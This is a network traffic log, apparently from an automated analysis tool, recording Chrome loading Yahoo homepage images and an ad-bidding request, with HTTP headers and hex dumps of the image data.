2024-04-27 22:41:59 UTC	605	OUT	GET /cv/apiv2/weather-svg/THUNDERSTORMS.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	794	IN	HTTP/1.1 200 OK x-amz-id-2: /fMCwflO7sRWSGD+LfpUu16Em2EY0tDo4CQvlGd/S/DTzGKTlputLIy7lFP92fi+jBuvf9/FLEA= x-amz-request-id: DTGFP7RCR55SYHSY Date: Tue, 16 Apr 2024 14:08:29 GMT Last-Modified: Fri, 13 Nov 2020 21:27:15 GMT ETag: "7f012ded545e2c7d9157810048c3fc2a" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1663 Referrer-Policy: no-referrer-when-downgrade Age: 981212 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 36 34 2e 32 37 38 25 22 20 79 31 3d 22 31 30 30 25 22 20 78 32 3d 22 36 34 2e 32 37 38 25 22 20 79 32 3d 22 31 2e 33 35 31 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 42 35 42 44 43 38 22 20 6f 66 66 73 65 74 3d 22 30 25 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a"> <stop stop-color="#B5BDC8" offset="0%"/> <stop stop
2024-04-27 22:41:59 UTC	363	IN	Data Raw: 38 35 2d 34 2e 39 20 32 2e 38 37 2d 32 2e 32 34 34 2d 2e 36 31 35 2d 33 2e 34 37 2d 32 2e 38 37 2d 32 2e 38 35 37 2d 34 2e 39 32 43 32 35 2e 35 36 35 20 33 36 2e 38 37 20 33 30 2e 36 37 20 33 34 20 33 30 2e 36 37 20 33 34 73 32 2e 38 35 37 20 34 2e 39 32 31 20 32 2e 32 34 35 20 36 2e 39 37 32 7a 22 20 66 69 6c 6c 3d 22 23 31 32 41 39 46 46 22 2f 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 66 69 6c 6c 3d 22 75 72 6c 28 23 63 29 22 20 73 74 79 6c 65 3d 22 6d 69 78 2d 62 6c 65 6e 64 2d 6d 6f 64 65 3a 6d 75 6c 74 69 70 6c 79 22 20 6f 70 61 63 69 74 79 3d 22 2e 34 22 20 64 3d 22 4d 31 38 2e 32 33 20 32 38 68 37 2e 33 30 38 4c 31 34 20 31 36 76 31 32 7a 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 20 32 29 22 2f 3e 0a 20 20 20 20 20 20 Data Ascii: 85-4.9 2.87-2.244-.615-3.47-2.87-2.857-4.92C25.565 36.87 30.67 34 30.67 34s2.857 4.921 2.245 6.972z" fill="#12A9FF"/> <path fill="url(#c)" style="mix-blend-mode:multiply" opacity=".4" d="M18.23 28h7.308L14 16v12z" transform="translate(4 2)"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
213	192.168.2.4	49963	35.169.22.169	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	2663	OUT	GET /exchange/prebid?pbav=8.37.0&p=%5B%7B%22placement_id%22%3A%22sda-LREC-iframe%22%2C%22callback_id%22%3A%222004e6570674cdc%22%2C%22sizes%22%3A%5B%5B300%2C250%5D%2C%5B300%2C600%5D%5D%2C%22ym_placement_id%22%3A%223492444194302009637%22%2C%22bidFloor%22%3A0.23%2C%22gpid%22%3A%22%2F22888152279%2Fus%2Fyhp%2Fmain%2Fdt%2Fus_yhp_main_dt_top_right%22%7D%2C%7B%22placement_id%22%3A%22sda-LREC3-iframe%22%2C%22callback_id%22%3A%2221dc84b32c57dcf%22%2C%22sizes%22%3A%5B%5B300%2C250%5D%5D%2C%22ym_placement_id%22%3A%223492444194302009637%22%2C%22bidFloor%22%3A0.08%2C%22gpid%22%3A%22%2F22888152279%2Fus%2Fyhp%2Fmain%2Fdt%2Fus_yhp_main_dt_as_mid_right_a%22%7D%2C%7B%22placement_id%22%3A%22sda-MAST-iframe%22%2C%22callback_id%22%3A%22223ba09dc7842bd%22%2C%22sizes%22%3A%5B%5B728%2C90%5D%2C%5B970%2C250%5D%5D%2C%22ym_placement_id%22%3A%223492444194302009637%22%2C%22bidFloor%22%3A0.85%2C%22gpid%22%3A%22%2F22888152279%2Fus%2Fyhp%2Fmain%2Fdt%2Fus_yhp_main_dt_top_center%22%7D%2C%7B%22placement_id%22%3A%22sda-LREC4-iframe%22%2C%22callbac [TRUNCATED] Host: ads.yieldmo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	519	IN	HTTP/1.1 204 Date: Sat, 27 Apr 2024 22:41:59 GMT Connection: close Set-Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169%7C; Max-Age=31536000; Expires=Sun, 27 Apr 2025 22:41:59 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None X-Robots-Tag: none,NOINDEX,NOFOLLOW Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Credentials: true Access-Control-Request-Headers: Cache-Control, Pragma Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
214	192.168.2.4	49984	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	619	OUT	GET /cv/apiv2/default/20200716/masque/scramble-words.jpeg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	816	IN	HTTP/1.1 200 OK x-amz-id-2: zCCstmITjxBmnZ/r7YAOtEe6oYPovmUDqfOzE6pUD2/hpgDRL04B6x8SSDf6LHY5+iN4rJbQANU= x-amz-request-id: CQQ2ME4170RYAKKF Date: Sun, 14 Apr 2024 01:07:05 GMT Last-Modified: Thu, 16 Jul 2020 20:55:16 GMT ETag: "55fcf6a6879ce3f3715ddf3bd4adfe46" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/jpeg Server: ATS Content-Length: 41115 Referrer-Policy: no-referrer-when-downgrade Age: 1200895 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 03 02 02 07 08 08 08 08 08 08 06 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 0a 08 08 08 08 09 09 09 08 08 17 0d 0a 08 0d 07 08 09 08 01 03 04 04 06 05 06 0a 06 06 0a 0d 0d 0a 0e 0f 0e 0d 0d 10 0d 0d 0d 0d 0d 0d 0d 0d 0f 0d 0f 0d 0e 0e 0d 0d 0d 0d 0d 0d 0e 0d 0d 0d 0d 0d 0d 0e 0f 0d 0d 0d 0d 0d 0d 0f 0d 0d 0d 0e 0d 0d 0f 0d 0d ff c0 00 11 08 01 90 02 58 03 01 22 00 02 11 01 03 11 01 ff c4 00 1e 00 00 01 03 05 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 05 06 07 08 09 04 0a ff c4 00 61 10 00 02 01 03 02 02 05 05 06 10 09 09 06 03 09 00 01 02 03 00 04 11 05 12 06 21 07 08 13 31 41 09 14 22 51 61 23 32 71 81 93 b1 15 19 24 Data Ascii: JFIFX"a!1A"Qa#2q$
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 00 e0 1c 72 cf 86 4f 70 ee 38 f5 e0 fa 8d 7b 77 d5 82 c6 ee 85 2e 68 cd 45 be 8d f5 65 48 52 e6 8c d4 5b e8 df 44 85 2e 68 cd 45 be 8d f4 48 52 e6 8c d4 5b e8 df 44 85 2e 68 cd 45 be 8d f4 48 52 e6 8c d4 5b e8 df 44 85 2e 68 cd 45 be 8d f4 48 52 e6 8c d4 5b e8 df 44 85 2e 68 cd 45 be 8d f4 48 52 e6 8c d4 5b e8 df 44 85 2e 68 cd 45 be 8d f4 48 52 e6 8c d4 5b e8 df 44 85 2e 68 cd 45 be 8d f4 48 52 e6 8c d4 5b ea 48 e3 63 dc 28 89 73 46 6a 65 b2 3e 27 f0 54 cb 68 be d3 57 c2 55 64 2f 1e 68 cd 7b c4 4b ea 14 f1 8f 50 a9 c0 54 62 54 dc d1 9a a9 66 8c fc 15 38 13 12 a6 e6 8c d5 40 a0 f5 0f c1 4c 36 cb ea fc 15 18 0a 62 5e 2c d1 9a f4 35 97 a8 9f 8e a1 7b 66 1e df 82 aa 5a 42 b4 84 dc d1 9a 88 b5 1b ea aa 54 b9 a3 35 16 fa 37 d1 21 4b 9a 33 51 6f a3 7d 12 14 b9 Data Ascii: rOp8{w.hEeHR[D.hEHR[D.hEHR[D.hEHR[D.hEHR[D.hEHR[D.hEHR[Hc(sFje>'ThWUd/h{KPTbTf8@L6b^,5{fZBT57!K3Qo}
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 60 f3 e7 a1 63 2d 07 85 2f 6e 8e 2d 6d 2f ae 49 fb 45 bc d2 8f ed 22 15 fc b5 e5 d5 74 b9 a0 91 e1 9e 29 61 9a 26 29 24 52 a1 8e 48 d8 77 ab a3 00 54 f8 f3 f0 c7 81 06 b2 0e bf d6 83 89 ae 72 24 d5 ef 91 48 c6 cb 66 4b 48 c0 f5 05 b6 48 b0 3d 99 ac 71 7f a9 4b 2b b4 92 c9 24 b2 36 0b 49 23 b3 bb 10 00 05 9d 89 66 c0 00 0c 9e e0 3d 55 66 1a 93 cf 00 70 24 f7 90 3c 10 4e d8 f3 d8 a2 dd 46 ea 66 ea 37 56 65 75 5e e0 ce 10 b8 d4 2e 63 b4 b6 11 19 e5 df b0 4b 2a 42 87 62 34 8c 0c 92 15 45 3b 50 e3 71 19 38 1d e4 56 45 bf ea 8d c5 31 8c fd 0b 96 55 fb 2b 79 ed 6e 07 c5 d9 4e c7 e2 c5 61 b7 00 8c 10 08 f6 d4 b6 97 72 46 41 8e 49 a3 23 b8 c7 23 a6 3f b2 c2 b0 bc 54 27 98 40 1d 2d 27 bc 38 78 2a 1c 5b 23 b3 e6 ae 6e 20 e8 bb 57 b4 cf 9d 69 9a a4 00 78 c9 69 30 5f Data Ascii: `c-/n-m/IE"t)a&)$RHwTr$HfKHH=qK+$6I#f=Ufp$<NFf7Veu^.cKBb4E;Pq8VE1U+ynNarFAI##?T'@-'8x[#n Wixi0_
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 9a ad f6 98 88 4d d5 ac 22 15 d7 b4 a0 77 91 3c b6 a4 18 35 0b 68 96 36 73 25 ab 7a 6a 54 30 89 aa e6 a6 01 cf ed 1a 78 e4 78 f0 05 64 c7 87 da f9 2c 26 2a a1 a1 e8 d3 5c cd 15 bd bc 6f 34 f3 c8 91 43 12 0c bc 92 39 0a aa a3 da 4f 79 c0 51 9c 90 01 23 34 5a f0 15 9c 36 3f 54 c7 0e a1 a2 bd c3 3c 5c 49 a5 23 79 ee 9d 23 88 51 a2 d4 6d 5c 6f ec 00 c6 6d 2e 55 08 90 b1 82 73 bb 0d b2 5e 4e fe ad 8a 85 b8 82 e8 17 04 c9 16 93 b9 4c 7b a1 cb 47 2d f9 89 b2 c8 66 5f 73 85 5c ee 44 32 9c 1e d6 37 ad 5a f6 d6 d2 a6 e7 ee c8 74 9d dd 1d 20 c1 1b 96 bd 7b 43 58 c2 ee ce 93 e7 51 a8 5b 3d d5 b7 a1 18 b4 0d 2a 0b 15 2b 24 e7 33 5e 4c 06 04 d7 32 01 bc 8f 1e ce 30 16 28 c1 e7 d9 c6 b9 cb 16 27 dd d3 27 58 1d 17 40 8a 39 75 4b b4 b7 ed 8b 08 63 0a f2 cf 31 5c 6e ec e1 Data Ascii: M"w<5h6s%zjT0xxd,&\o4C9OyQ#4Z6?T<\I#y#Qm\om.Us^NL{G-f_s\D27Zt {CXQ[=+$3^L20(''X@9uKc1\n
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 1e 2d d0 33 ec b6 be 23 f0 ec ac 3c 00 f5 0a 5d d4 e4 aa 7e 21 ec 6f c0 a9 87 6f 3d 81 66 44 e8 2b 4d 7f e6 b8 af 86 18 f8 76 9e 77 0f f8 a2 6c 53 ff 00 ec b7 7d 27 f9 a6 a7 c2 d7 a7 c1 60 d5 a1 57 3f 02 4c 23 6f c3 8a c2 ed 8f 65 34 c2 be 21 7f 00 a7 27 50 68 fe d6 83 e1 0a 21 db fb bf f1 65 ad 77 aa cf 13 db 8d cf a4 de 48 98 cf 69 6a 63 bc 42 3d 60 db 3c 84 8f fc b5 8c 75 1b 39 21 6d 93 47 2c 2e 0e 0a 4d 1b c4 d9 f5 62 40 a6 bd 1a 17 13 dd da b0 6b 5b ab cb 66 1d c6 de 79 61 c7 c4 8c 07 e4 ac 9d a5 75 b3 e2 04 41 15 c5 c5 be a7 08 3c e0 d5 6d 60 bd 46 f6 17 75 13 0c ff 00 bc f5 7a a9 35 9b f7 5d da df f2 f1 09 cf 1b 8f 77 c5 62 3d d4 01 cc 1e e2 39 82 39 11 f0 11 cc 7c 58 ac c4 bc 7d c2 b7 dc af f4 5b 9d 2e 53 9c dd 68 73 ee 88 13 dc 5a c2 eb 72 6d 07 Data Ascii: -3#<]~!oo=fD+MvwlS}'`W?L#oe4!'Ph!ewHijcB=`<u9!mG,.Mb@k[fyauA<m`Fuz5]wb=99\|X}[.ShsZrm
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 63 9e 09 24 86 78 58 3c 53 44 c5 24 8d c1 c8 65 75 c1 07 23 d7 83 e3 9a f0 ee a3 75 7b b3 05 6e 2c fd d1 9f 4a 7a 6d c5 ed bc d7 ce fa 3d f1 9a 21 75 aa 58 aa 8b 3d 4a db 7c 7d b4 3a be 9e 07 60 64 99 04 a5 ae e3 43 1b 48 c3 b4 87 19 71 d5 3e 19 f3 5f 37 80 5a 18 0d a8 89 16 df b0 2a 61 10 aa 85 8c 44 53 2b b0 28 00 6d e5 81 5c 2e dd 59 5f a0 ae b3 1a b7 0f c9 f5 2c 82 5b 46 60 d3 59 4d 93 0b 81 bb 3d 99 f7 d6 ee 77 16 df 16 03 30 1b 83 81 83 e7 af 0b b3 97 13 48 c1 1b 0e 9d bb 3a 36 6e 85 a9 5e 89 78 c8 e8 ba db c7 dc 03 63 aa 5a 4d 61 7f 02 5c da 5c 04 13 42 c5 94 3f 67 22 4a 9c d1 95 81 59 23 47 05 58 10 54 57 39 7a 75 f2 75 6a da 4c c3 52 e1 89 ee ee 56 13 bd 20 59 7b 3d 4e d9 8b 05 fa 9a 64 d8 b7 08 14 92 43 18 e4 da bd d3 66 b7 67 a0 5e b4 ba 4f 10 Data Ascii: c$xX<SD$eu#u{n,Jzm=!uX=J\|}:`dCHq>_7Z*aDS+(m\.Y_,[F`YM=w0H:6n^xcZMa\\B?g"JY#GXTW9zuujLRV Y{=NdCfg^O
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 82 08 ee 20 8e 60 8f 02 39 8a d5 34 00 ce 99 c2 7a 3d 93 c5 ba 75 88 3d 2b 1e 18 f6 72 f0 ec 5e fd 67 48 9e da 57 b7 b8 86 68 27 88 ed 92 19 91 a3 91 08 e5 86 56 00 fc 04 72 3e 04 8e 75 e3 dd 59 93 44 e9 ea 1b d8 52 c7 89 20 93 51 b7 51 b2 0d 4a 2c 2e b1 60 33 de 93 11 f5 5c 43 c6 19 f2 48 f1 62 00 aa 0f 49 5d 08 cf 63 12 5f 5b 4f 16 a5 a4 4c db 60 d4 ad 81 d8 1b 3f cc dd c4 72 f6 97 03 90 29 27 22 4f 23 9c a8 96 d6 20 e1 a8 20 ec dc 78 1d fd 07 3d d3 aa 07 67 0e d7 b9 63 9d d4 6e a8 f7 51 ba b6 a5 64 52 6e a3 75 7b ee b8 6a ea 3b 78 6e de 09 d6 d6 e1 e4 8e 1b 82 87 b1 96 48 b9 48 8a fd db 93 c4 1c 67 0d 8c ec 6c 53 37 54 02 0e 8a 14 9b a8 dd 51 ee a3 75 4c a9 52 6e a3 75 47 ba 8d d4 94 52 6e a3 75 47 ba 8d d4 94 52 6e a3 75 47 ba 8d d4 94 52 6e a0 9a 8f Data Ascii: `94z=u=+r^gHWh'Vr>uYDR QQJ,.`3\CHbI]c_[OL`?r)'"O# x=gcnQdRnu{j;xnHHglS7TQuLRnuGRnuGRnuGRn
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 1d d9 bb d4 1c 77 dc 6a 53 0e 72 bb 91 b8 40 0f 65 18 c0 c3 6d 5d b4 7e 96 ba 62 97 54 68 a2 8e 24 b2 d3 2c c1 4d 3f 4d 84 fb 8d b4 7c fd 37 3f e9 ae a4 c9 32 ce f9 66 62 70 40 27 76 3f cd 55 b4 cb ce 3a 9d 43 60 e9 3b dd d3 a0 d9 bc c0 13 9b bb 3c ed 52 66 8d d5 1e ea 4d f5 b2 b2 29 37 52 6f a8 f7 52 6e a2 29 0b 51 ba a2 df 4d 2f 44 53 ee a4 2f 50 ee a4 df 49 50 a7 df 46 fa 83 b4 a3 b4 a8 45 38 7a 5d d5 e7 ed 28 0f 53 28 bd 1b a9 43 54 01 a9 77 d1 14 db e9 43 54 21 a8 dd 45 2a 7d d4 6e a8 b7 d2 ee a2 29 37 54 f1 ea 12 2a 34 4b 24 a2 27 65 77 88 3b 08 dd d0 10 8e f1 83 b5 99 43 30 56 60 48 c9 af 26 68 cd 11 64 bb 1e 86 da eb 4c 3a 8e 9f 72 b7 b2 db 06 6d 4f 4f 58 99 2e ec 53 71 d9 70 89 b9 8d d5 a9 51 97 9a 30 3b 33 9c a9 0a e5 71 b8 7a ab f0 6f 1a de 69 Data Ascii: wjSr@em]~bTh$,M?M\|7?2fbp@'v?U:C`;<RfM)7RoRn)QM/DS/PIPFE8z](S(CTwCT!E}n)7T4K$'ew;C0V`H&hdL:rmOOX.SqpQ0;3qzoi
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 87 ba 53 93 49 bc ed fb 35 b8 b6 9a 36 b6 d4 2c df f9 bb db 29 79 4d 03 f8 06 c1 dd 1b 9c ec 90 0e f5 67 56 b7 78 b1 ec fc e6 63 63 e7 42 cc c8 4d ba dd 04 17 09 19 e6 12 5e cd 99 19 a3 c9 4d ea 7d 30 a0 e0 16 20 60 a4 1c c3 80 c9 1b 0f 46 e3 d2 37 ed 1d 20 aa 36 46 5d 8b 2a f0 5c 9f 47 ac 93 48 90 e7 54 b0 8a 47 d1 25 62 37 5d 5b ae e9 26 d1 5d 8f 7b 01 be 7b 12 e7 0a c2 44 dc ab 22 29 c3 4e a4 12 08 2a 41 20 86 04 10 47 22 08 3c c1 07 91 07 04 1a 5b 1b f9 22 74 96 27 78 e4 89 d6 48 e4 42 55 e3 91 18 3a 3a 30 c1 56 46 01 81 1c c1 02 af 9e 99 38 fe cf 53 9e 2b e8 6d e4 b6 bd 9e 20 75 54 c2 0b 69 6f 97 01 ae ad 42 9c a8 ba 03 b4 96 36 55 d9 2e 79 be f6 62 68 2c 74 0f 64 e7 c0 fc 0e bd 07 8e 41 91 e8 56 26 ea 37 54 59 a3 35 b1 2b 22 97 75 1b aa 2c d1 9a 4a Data Ascii: SI56,)yMgVxccBM^M}0 `F7 6F]\GHTG%b7][&]{{D")NA G"<["t'xHBU::0VF8S+m uTioB6U.ybh,tdAV&7TY5+"u,J
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 75 53 b8 2d c3 5a 19 38 e5 a6 5a 2f 2f 52 42 a8 bf 1e 14 67 db 9a ea 5e f5 ea 51 a6 d3 4c c4 9c e3 82 d8 b4 bc b5 a2 16 23 fa 59 bc 2f f6 cd 6b fb e2 7e e2 97 e9 67 f0 b7 d9 eb 3f df 17 f7 15 b2 fc 63 c6 16 ba 7d b4 d7 97 92 ac 16 d0 2e f9 a5 60 cc 11 4b 05 04 84 56 63 e9 30 1c 94 9e 75 87 ff 00 ed dd c1 9f d3 36 df 23 77 ff 00 d3 d7 9a 65 a6 d9 50 4b 0b c8 e8 93 e0 b4 45 4a a7 42 56 2c e2 2f 25 d6 85 22 fd 4d 7d ac 5b 3f ad de 1b 85 1e cd 8d 14 67 f0 bf cf 5a ad d3 ff 00 51 cd 6b 42 8d ee 94 c7 a8 58 27 39 2e 2d d1 96 58 17 9f a5 71 6e 4b 15 41 8f 4a 58 de 44 5e 5b b6 03 cb a8 dd 1c f4 bd a4 ea f1 b4 ba 6d ed ad e2 21 01 fb 27 f4 e3 27 bb b4 8d 82 c9 1e 70 71 bd 06 71 cb 38 ab b2 68 55 81 56 01 95 81 56 56 00 86 04 60 82 0f 22 08 e4 41 ef ac d4 ef 4b 4d Data Ascii: uS-Z8Z//RBg^QL#Y/k~g?c}.`KVc0u6#wePKEJBV,/%"M}[?gZQkBX'9.-XqnKAJXD^[m!''pqq8hUVVV`"AKM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
215	192.168.2.4	49987	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	620	OUT	GET /cv/apiv2/yahoo_weather_web/accuweather-horizontal.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	814	IN	HTTP/1.1 200 OK x-amz-id-2: F0iOak81CdYiz1ZQgjoFFIQ96xnyNPJIOXalcHLiELqNswYFrVypL8Y6kPkJz/KAnRpKA92D0fU= x-amz-request-id: 10D8Z2H2W579WKC2 Date: Sat, 13 Apr 2024 01:39:29 GMT Last-Modified: Thu, 08 Sep 2022 20:32:20 GMT ETag: "d0e45188f6a8f2e8f2528e762fe55d33" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 2331 Referrer-Policy: no-referrer-when-downgrade Age: 1285352 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f0 00 00 00 22 08 03 00 00 00 56 7d a4 84 00 00 00 7b 50 4c 54 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd 78 1c b0 00 00 00 28 74 52 4e 53 00 05 fa f5 21 0d 6b 36 c0 13 e0 4c b1 b6 e8 d7 1b 7f 85 ac 29 c5 8c 2e a7 92 59 a1 d0 44 ca ec 9b 71 3e ba 77 64 53 5f 87 5f b6 44 00 00 08 27 49 44 41 54 68 de e5 59 e9 ba 9a 30 10 4d 80 b0 c8 a2 08 2e b8 a1 e2 92 f7 7f c2 9e 99 21 88 Data Ascii: PNGIHDR"V}{PLTEx(tRNS!k6L).YDq>wdS__D'IDAThY0M.!
2024-04-27 22:41:59 UTC	1031	IN	Data Raw: d7 f0 ae 4a 35 6c 3b 21 62 45 22 6a a2 e5 52 40 35 1a 72 d3 2f 80 21 32 68 51 79 86 88 be 38 65 36 12 d3 86 d5 5b 3c aa f8 eb fd 5f bf 05 2c 8d 69 8e a7 cc c0 6f 80 5f 20 e9 12 f1 dd e1 1e 12 dd 7b 87 6a a0 da 94 cd f1 d8 4c df 02 7e b4 01 9a 0f e5 b2 50 89 8c 2b 01 be 0b e0 ad 2c c2 33 85 5c d2 ec 15 70 48 41 b2 54 03 1d 48 4f ca 9c b3 cf 62 cc 18 1f 17 b1 57 c6 3b c0 5a b3 9d 3a 18 9f 8d ae 4a 72 48 4d 4a e2 a5 19 db dd f7 f9 12 1b 54 03 cf fb 0e e0 c5 48 86 e7 81 e5 be 97 08 71 67 3b 80 f7 da 96 fc e0 d1 96 b8 22 73 de 0b 61 94 a9 57 87 7e 65 bc 07 cc b9 31 49 3d 4f a4 47 58 b1 28 39 1a 0d 03 1e 53 46 c5 c0 fe 14 b0 50 29 80 4b 59 24 65 dc 9e 25 e5 07 92 68 3a d8 7c 7c e5 f6 dc 0a 82 ec cf d4 cf 3c cc b1 62 7d d4 68 ba 49 4a ea f9 05 38 01 03 46 b2 75 Data Ascii: J5l;!bE"jR@5r/!2hQy8e6[<_,io_ {jL~P+,3\pHATHObW;Z:JrHMJTHqg;"saW~e1I=OGX(9SFP)KY$e%h:\|\|<b}hIJ8Fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
216	192.168.2.4	49985	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
